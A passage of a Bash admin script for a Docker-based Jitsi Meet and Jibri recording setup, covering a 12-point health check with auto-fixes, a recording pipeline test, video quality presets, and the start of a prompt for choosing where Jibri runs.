log_grep() { docker logs --tail 200 "$1" 2>&1 | grep -q "$2" 2>/dev/null; return $?; }
# ── 1. Containers ──
echo -e "${YELLOW}[1/12] Checking containers...${NC}"
local missing=""
for c in jitsi-web jitsi-prosody jitsi-jicofo jitsi-jvb jitsi-jibri-1; do
if ! docker ps --format "{{.Names}}" 2>/dev/null | grep -q "$c"; then
missing="$missing $c"
fi
done
if [ -n "$missing" ]; then
echo -e " ${RED}✗ Missing:$missing${NC}"
echo -e " ${YELLOW}→ Starting all services...${NC}"
cd "$SCRIPT_DIR" && docker compose -f docker-compose.yml -f jibri-pool.yml up -d 2>/dev/null
sleep 5
((issues++))
else
echo -e " ${GREEN}✓ All core containers running${NC}"
fi
# ── 2. Jibri MUC ──
echo -e "\n${YELLOW}[2/12] Checking Jibri recording nodes...${NC}"
local jibri_ok=0 jibri_total=0
for c in $(docker ps --filter "name=jibri" --format "{{.Names}}" 2>/dev/null); do
jibri_total=$((jibri_total + 1))
if log_grep "$c" "Joined MUC: jibribrewery"; then
jibri_ok=$((jibri_ok + 1))
fi
done
if [ "$jibri_total" -eq 0 ]; then
echo -e " ${RED}✗ No Jibri containers${NC}"
((issues++))
elif [ "$jibri_ok" -lt "$jibri_total" ]; then
echo -e " ${RED}✗ $jibri_ok/$jibri_total joined MUC — recreating${NC}"
cd "$SCRIPT_DIR" && docker compose -f docker-compose.yml -f jibri-pool.yml up -d --force-recreate $(docker ps --filter "name=jibri" --format "{{.Names}}" 2>/dev/null) 2>/dev/null
((issues++))
else
echo -e " ${GREEN}✓ All $jibri_total Jibris connected${NC}"
fi
# ── 3. Jibri auth ──
echo -e "\n${YELLOW}[3/12] Checking Jibri XMPP authentication...${NC}"
local auth_fail=0
for c in $(docker ps --filter "name=jibri" --format "{{.Names}}" 2>/dev/null | head -1); do
if log_grep "$c" "not-authorized"; then
auth_fail=1
fi
done
if [ "$auth_fail" = "1" ]; then
echo -e " ${RED}✗ Auth failed${NC}"
local jp rp
jp=$(grep -E "^JIBRI_XMPP_PASSWORD=" .env.jibri 2>/dev/null | cut -d= -f2-)
rp=$(grep -E "^JIBRI_RECORDER_PASSWORD=" .env.jibri 2>/dev/null | cut -d= -f2-)
[ -n "$jp" ] && docker exec jitsi-prosody prosodyctl --config /config/prosody.cfg.lua register jibri auth.meet.jitsi "$jp" 2>/dev/null && ((fixed++))
[ -n "$rp" ] && docker exec jitsi-prosody prosodyctl --config /config/prosody.cfg.lua register recorder hidden.meet.jitsi "$rp" 2>/dev/null && ((fixed++))
cd "$SCRIPT_DIR" && docker compose -f docker-compose.yml -f jibri-pool.yml up -d --force-recreate $(docker ps --filter "name=jibri" --format "{{.Names}}" 2>/dev/null) 2>/dev/null
((issues++))
else
echo -e " ${GREEN}✓ Jibri auth OK${NC}"
fi
# ── 4. JVB bridge ──
echo -e "\n${YELLOW}[4/12] Checking JVB Video Bridge...${NC}"
if log_grep jitsi-jvb "Joined MUC: jvbbrewery"; then
echo -e " ${GREEN}✓ JVB connected to brewery${NC}"
else
echo -e " ${RED}✗ JVB not connected${NC}"
cd "$SCRIPT_DIR" && docker compose up -d --force-recreate jvb 2>/dev/null
((issues++))
fi
if log_grep jitsi-jicofo "no operational bridges"; then
echo -e " ${RED}✗ jicofo: no operational bridges${NC}"
cd "$SCRIPT_DIR" && docker compose restart jicofo 2>/dev/null
((issues++)); ((fixed++))
else
echo -e " ${GREEN}✓ Jicofo sees operational bridge${NC}"
fi
# ── 5. JVB port 10000 ──
echo -e "\n${YELLOW}[5/12] Checking JVB UDP port 10000...${NC}"
if ss -tulpn 2>/dev/null | grep -q ":10000 "; then
echo -e " ${GREEN}✓ Port 10000 listening${NC}"
else
echo -e " ${RED}✗ Port 10000 not listening${NC}"
cd "$SCRIPT_DIR" && docker compose up -d --force-recreate jvb 2>/dev/null
((issues++))
fi
# ── 6. Colibri WS proxy ──
echo -e "\n${YELLOW}[6/12] Checking Colibri WebSocket relay...${NC}"
if docker exec jitsi-web cat /config/nginx-custom/colibri-ws.conf &>/dev/null; then
echo -e " ${GREEN}✓ WebSocket relay configured${NC}"
else
echo -e " ${YELLOW}⚠ Missing — creating...${NC}"
local ws_dir
ws_dir=$(docker inspect -f '{{range .Mounts}}{{if eq .Destination "/config"}}{{.Source}}{{end}}{{end}}' jitsi-web 2>/dev/null)
if [ -n "$ws_dir" ]; then
mkdir -p "$ws_dir/nginx-custom" 2>/dev/null
cat > "$ws_dir/nginx-custom/colibri-ws.conf" << 'EOF'
location ~ ^/colibri-ws(/.*)?$ {
proxy_pass http://jitsi-jvb:8080/colibri-ws$1$is_args$args;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_read_timeout 86400s;
proxy_send_timeout 86400s;
}
EOF
fi
docker exec jitsi-web nginx -s reload &>/dev/null || cd "$SCRIPT_DIR" && docker compose restart web 2>/dev/null
((fixed++))
fi
# ── 7. P2P ──
echo -e "\n${YELLOW}[7/12] Checking P2P mode...${NC}"
if grep -q "enabled: true" config/web/config.js 2>/dev/null && [ "$mode" = "server" ]; then
echo -e " ${YELLOW}⚠ P2P enabled — disabling${NC}"
sed -i 's/enabled: true/enabled: false/' config/web/config.js 2>/dev/null
((fixed++))
else
echo -e " ${GREEN}✓ P2P disabled${NC}"
fi
# ── 8. Recording quality ──
echo -e "\n${YELLOW}[8/12] Checking recording quality...${NC}"
local preset crf
preset=$(grep -E "^JIBRI_RECORDING_VIDEO_ENCODE_PRESET_RECORDING=" .env.jibri 2>/dev/null | cut -d= -f2-)
crf=$(grep -E "^JIBRI_RECORDING_CONSTANT_RATE_FACTOR=" .env.jibri 2>/dev/null | cut -d= -f2-)
case "$preset" in medium|slow|slower)
echo -e " ${YELLOW}⚠ Preset '$preset' may overload CPU${NC}"
((issues++));;
*) echo -e " ${GREEN}✓ Preset $preset, CRF $crf${NC}";;
esac
# ── 9. STUN ──
echo -e "\n${YELLOW}[9/12] Checking STUN/TURN...${NC}"
local stun
stun=$(grep -E "^JVB_STUN_SERVERS=" .env 2>/dev/null | cut -d= -f2-)
if [ -z "$stun" ]; then
echo -e " ${YELLOW}⚠ No STUN — adding${NC}"
echo 'JVB_STUN_SERVERS=stun.l.google.com:19302,stun1.l.google.com:19302' >> .env
((fixed++))
else
echo -e " ${GREEN}✓ STUN: $stun${NC}"
fi
# ── 10. ArvanCloud ──
echo -e "\n${YELLOW}[10/12] Checking ArvanCloud connection...${NC}"
local arvan_key
arvan_key=$(grep -E "^ARVANCLOUD_API_KEY=" .env 2>/dev/null || grep -E "^ARVANCLOUD_API_KEY=" scripts/sync-vods-to-db.py 2>/dev/null | head -1)
if [ -z "$arvan_key" ]; then
echo -e " ${YELLOW}⚠ No ArvanCloud API key found${NC}"
((issues++))
else
local arvan_test
arvan_test=$(curl -s --max-time 5 -H "Authorization: $arvan_key" "https://napi.arvancloud.ir/vod/2.0/videos" 2>/dev/null)
if echo "$arvan_test" | grep -q '"data"'; then
echo -e " ${GREEN}✓ ArvanCloud API reachable${NC}"
elif echo "$arvan_test" | grep -qi "unauthorized\|error"; then
echo -e " ${RED}✗ ArvanCloud API key invalid${NC}"
((issues++))
else
echo -e " ${RED}✗ ArvanCloud API unreachable${NC}"
((issues++))
fi
fi
# ── 11. VOD platform ──
echo -e "\n${YELLOW}[11/12] Checking VOD player...${NC}"
if command -v pm2 &>/dev/null && pm2 list 2>/dev/null | grep -q "vod-platform"; then
echo -e " ${GREEN}✓ VOD platform (PM2) running${NC}"
local vod_resp
vod_resp=$(curl -s --max-time 5 "http://localhost:5050" 2>/dev/null)
if echo "$vod_resp" | grep -qi "html\|<!DOCTYPE"; then
echo -e " ${GREEN}✓ VOD web UI responds on :5050${NC}"
else
echo -e " ${YELLOW}⚠ VOD process running but :5050 not responding${NC}"
((issues++))
fi
else
local vod_up
vod_up=$(docker ps --filter "name=vod" --format "{{.Names}}" 2>/dev/null)
if [ -n "$vod_up" ]; then
echo -e " ${GREEN}✓ VOD platform (Docker) running${NC}"
else
echo -e " ${RED}✗ VOD platform not found (PM2 or Docker)${NC}"
((issues++))
fi
fi
# ── 12. Public URL reachability ──
echo -e "\n${YELLOW}[12/12] Checking Jitsi public URL...${NC}"
local jitsi_url
jitsi_url=$(grep -E "^PUBLIC_URL=" .env 2>/dev/null | cut -d= -f2-)
if [ -z "$jitsi_url" ]; then
jitsi_url="https://${pub_ip}:8443"
fi
local http_code
http_code=$(curl -sk --max-time 5 -o /dev/null -w "%{http_code}" "$jitsi_url" 2>/dev/null || echo "000")
if [ "$http_code" = "200" ] || [ "$http_code" = "302" ] || [ "$http_code" = "301" ]; then
echo -e " ${GREEN}✓ $jitsi_url → HTTP $http_code${NC}"
else
echo -e " ${RED}✗ $jitsi_url → HTTP $http_code${NC}"
((issues++))
fi
# ── Summary ──
echo ""
echo -e "${CYAN}══════════════════════════════════════${NC}"
if [ "$issues" -eq 0 ] && [ "$fixed" -eq 0 ]; then
echo -e "${GREEN} ✅ All 12 checks passed — system healthy${NC}"
else
echo -e " ${YELLOW}Issues found: $issues${NC}"
[ "$fixed" -gt 0 ] && echo -e " ${GREEN}Auto-fixed: $fixed${NC}"
echo -e " ${YELLOW}Restarting affected containers...${NC}"
cd "$SCRIPT_DIR" && docker compose -f docker-compose.yml -f jibri-pool.yml restart 2>/dev/null
echo -e "${GREEN} Done.${NC}"
fi
echo -e "${CYAN}══════════════════════════════════════${NC}"
# ── Ask about Jibri recording test ──
echo ""
echo -e " ${CYAN}Jibri Recording Test${NC}"
echo " Would you like to run a full recording pipeline test?"
echo " This will create a test room, start/stop recording via Jibri,"
echo " wait for ArvanCloud upload, and clean up."
echo ""
read -rp " Run recording test? [y/N]: " run_rec_test
if [[ "$run_rec_test" =~ ^[Yy] ]]; then
test_jibri_recording
fi
read -rp "Press Enter..."
}
# ── Jibri Recording Pipeline Test ──
test_jibri_recording() {
local mode
mode=$(detect_mode)
if [ "$mode" = "none" ]; then
echo -e "${RED}Configure Jitsi first (option 1).${NC}"
read -rp "Press Enter..."
return
fi
local room duration
echo -e "\n${CYAN}── Jibri Recording Test ──${NC}"
echo ""
read -rp "Room name (random if empty): " room
read -rp "Recording duration in seconds [5]: " duration
duration="${duration:-5}"
echo -e "\n${YELLOW}Starting test...${NC}"
local script_path="${SCRIPT_DIR}/scripts/test-jibri-recording.py"
if [ ! -f "$script_path" ]; then
echo -e "${RED}Test script not found: $script_path${NC}"
return
fi
local cmd="python3 \"$script_path\""
[ -n "$room" ] && cmd="$cmd --room \"$room\""
cmd="$cmd --duration $duration"
cd "$SCRIPT_DIR" && eval "$cmd"
local rc=$?
echo ""
if [ "$rc" -eq 0 ]; then
echo -e "${GREEN}Recording pipeline test completed.${NC}"
else
echo -e "${YELLOW}Recording pipeline test completed with warnings/issues.${NC}"
echo -e "Check the output above for details."
fi
read -rp "Press Enter..."
}
# ── Video Quality Settings ──
setup_quality() {
local mode
mode=$(detect_mode)
if [ "$mode" = "none" ]; then
echo -e "${RED}Configure Jitsi first (option 1).${NC}"
read -rp "Press Enter..."
return
fi
# Read current settings
local cur_res cur_crf cur_bitrate cur_preset cur_live_res
cur_res=$(grep -E "^JIBRI_RECORDING_RESOLUTION=" .env.jibri 2>/dev/null | cut -d= -f2-)
cur_res="${cur_res:-1920x1080}"
cur_crf=$(grep -E "^JIBRI_RECORDING_CONSTANT_RATE_FACTOR=" .env.jibri 2>/dev/null | cut -d= -f2-)
cur_crf="${cur_crf:-20}"
cur_bitrate=$(grep -E "^JIBRI_RECORDING_STREAMING_MAX_BITRATE=" .env.jibri 2>/dev/null | cut -d= -f2-)
cur_bitrate="${cur_bitrate:-5000k}"
cur_preset=$(grep -E "^JIBRI_RECORDING_VIDEO_ENCODE_PRESET_RECORDING=" .env.jibri 2>/dev/null | cut -d= -f2-)
cur_preset="${cur_preset:-veryfast}"
cur_live_res=$(grep -E "config.resolution = " config/web/config.js 2>/dev/null | grep -oE '[0-9]+')
cur_live_res="${cur_live_res:-1080}"
while true; do
echo -e "\n${CYAN}── Video Quality Settings ──${NC}"
echo ""
echo -e " ${YELLOW}Live Camera:${NC} ${cur_live_res}p"
echo -e " ${YELLOW}Recording:${NC} ${cur_res}, CRF ${cur_crf}, ${cur_bitrate}, preset: ${cur_preset}"
echo ""
echo " Select a quality preset or customize:"
echo " 1) Low (720p, CRF 25, 3000k, ultrafast) — lightest CPU"
echo " 2) Medium (720p, CRF 23, 4000k, veryfast) — balanced CPU"
echo " 3) High (1080p, CRF 20, 6000k, veryfast) — good quality"
echo " 4) Ultra (1080p, CRF 18, 8000k, faster) — best quality, heavier CPU"
echo " 5) Custom — set each option individually"
echo " 6) Back"
echo ""
read -rp "Choice [1/2/3/4/5/6]: " q
local new_res new_crf new_bitrate new_preset new_live_res
case "$q" in
1)
new_res="1280x720"; new_crf="25"; new_bitrate="3000k"; new_preset="ultrafast"; new_live_res="720" ;;
2)
new_res="1280x720"; new_crf="23"; new_bitrate="4000k"; new_preset="veryfast"; new_live_res="720" ;;
3)
new_res="1920x1080"; new_crf="20"; new_bitrate="6000k"; new_preset="veryfast"; new_live_res="1080" ;;
4)
new_res="1920x1080"; new_crf="18"; new_bitrate="8000k"; new_preset="faster"; new_live_res="1080" ;;
5)
echo ""
read -rp "Recording resolution [1920x1080]: " new_res
new_res="${new_res:-1920x1080}"
read -rp "CRF (0-51, lower=better) [20]: " new_crf
new_crf="${new_crf:-20}"
read -rp "Bitrate (e.g. 5000k) [6000k]: " new_bitrate
new_bitrate="${new_bitrate:-6000k}"
echo " Presets: ultrafast, superfast, veryfast, faster, fast, medium, slow"
read -rp "Encode preset [veryfast]: " new_preset
new_preset="${new_preset:-veryfast}"
echo ""
echo " Live camera resolution:"
echo " 1) 720p"
echo " 2) 1080p"
read -rp " Choice [2]: " lr
case "$lr" in 1) new_live_res="720";; *) new_live_res="1080";; esac
;;
6) return ;;
*) echo -e "${RED}Invalid.${NC}"; sleep 1; continue ;;
esac
echo -e "\n${YELLOW}Applying:${NC}"
echo -e " Live camera: ${new_live_res}p"
echo -e " Recording: ${new_res}, CRF ${new_crf}, ${new_bitrate}, ${new_preset}"
read -rp "Apply? [Y/n]: " ok
[[ "$ok" =~ ^[Nn] ]] && continue
# Update .env.jibri
sed -i "s/^JIBRI_RECORDING_RESOLUTION=.*/JIBRI_RECORDING_RESOLUTION=${new_res}/" .env.jibri 2>/dev/null
grep -q "^JIBRI_RECORDING_RESOLUTION=" .env.jibri 2>/dev/null || echo "JIBRI_RECORDING_RESOLUTION=${new_res}" >> .env.jibri
sed -i "s/^JIBRI_RECORDING_CONSTANT_RATE_FACTOR=.*/JIBRI_RECORDING_CONSTANT_RATE_FACTOR=${new_crf}/" .env.jibri 2>/dev/null
grep -q "^JIBRI_RECORDING_CONSTANT_RATE_FACTOR=" .env.jibri 2>/dev/null || echo "JIBRI_RECORDING_CONSTANT_RATE_FACTOR=${new_crf}" >> .env.jibri
sed -i "s/^JIBRI_RECORDING_STREAMING_MAX_BITRATE=.*/JIBRI_RECORDING_STREAMING_MAX_BITRATE=${new_bitrate}/" .env.jibri 2>/dev/null
grep -q "^JIBRI_RECORDING_STREAMING_MAX_BITRATE=" .env.jibri 2>/dev/null || echo "JIBRI_RECORDING_STREAMING_MAX_BITRATE=${new_bitrate}" >> .env.jibri
sed -i "s/^JIBRI_RECORDING_VIDEO_ENCODE_PRESET_RECORDING=.*/JIBRI_RECORDING_VIDEO_ENCODE_PRESET_RECORDING=${new_preset}/" .env.jibri 2>/dev/null
grep -q "^JIBRI_RECORDING_VIDEO_ENCODE_PRESET_RECORDING=" .env.jibri 2>/dev/null || echo "JIBRI_RECORDING_VIDEO_ENCODE_PRESET_RECORDING=${new_preset}" >> .env.jibri
sed -i "s/^JIBRI_RECORDING_VIDEO_ENCODE_PRESET_STREAMING=.*/JIBRI_RECORDING_VIDEO_ENCODE_PRESET_STREAMING=${new_preset}/" .env.jibri 2>/dev/null
grep -q "^JIBRI_RECORDING_VIDEO_ENCODE_PRESET_STREAMING=" .env.jibri 2>/dev/null || echo "JIBRI_RECORDING_VIDEO_ENCODE_PRESET_STREAMING=${new_preset}" >> .env.jibri
# Update live camera resolution in config.js
sed -i "s/config.resolution = [0-9]*;/config.resolution = ${new_live_res};/" config/web/config.js
sed -i "s/height: { ideal: [0-9]*, max: [0-9]*/height: { ideal: ${new_live_res}, max: ${new_live_res}/" config/web/config.js
if [ "$new_live_res" = "1080" ]; then
sed -i "s/width: { ideal: [0-9]*, max: [0-9]*/width: { ideal: 1920, max: 1920/" config/web/config.js
else
sed -i "s/width: { ideal: [0-9]*, max: [0-9]*/width: { ideal: 1280, max: 1280/" config/web/config.js
fi
echo -e "\n${GREEN}Quality settings saved. Restarting containers...${NC}"
# Restart web to pick up new config.js
docker compose restart web 2>/dev/null && echo -e " ${GREEN}✓ Web restarted${NC}"
# Recreate Jibri containers to pick up new .env.jibri
echo -e "${YELLOW}Recreating Jibri containers...${NC}"
for c in $(docker ps --filter "name=jibri" --format "{{.Names}}" 2>/dev/null); do
docker compose -f docker-compose.yml -f jibri-pool.yml up -d --force-recreate "$c" 2>/dev/null
echo -e " ${GREEN}✓ $c recreated${NC}"
done
echo -e "\n${GREEN}Done. New recordings will use the updated quality settings.${NC}"
read -rp "Press Enter..."
return
done
}
# ── Jibri Server Location (Local / Remote) ──
setup_jibri_location() {
local mode
mode=$(detect_mode)
if [ "$mode" = "none" ]; then
echo -e "${RED}Configure Jitsi first (option 1).${NC}"
return
fi
echo -e "\n${CYAN}── Jibri Server Location ──${NC}"
echo ""
echo " Where should Jibri recording containers run?"
echo " 1) Local — same server as Jitsi (default)"
echo " 2) Remote — dedicated server (saves CPU on main server)"
echo ""
read -rp "Choice [1/2]: " jloc
if [ "$jloc" = "2" ]; then
echo ""
read -rp "Remote server IP: " REMOTE_IP
read -rp "SSH username [root]: " SSH_USER
SSH_USER="${SSH_USER:-root}"
read -rsp "SSH password: " SSH_PASS
echo ""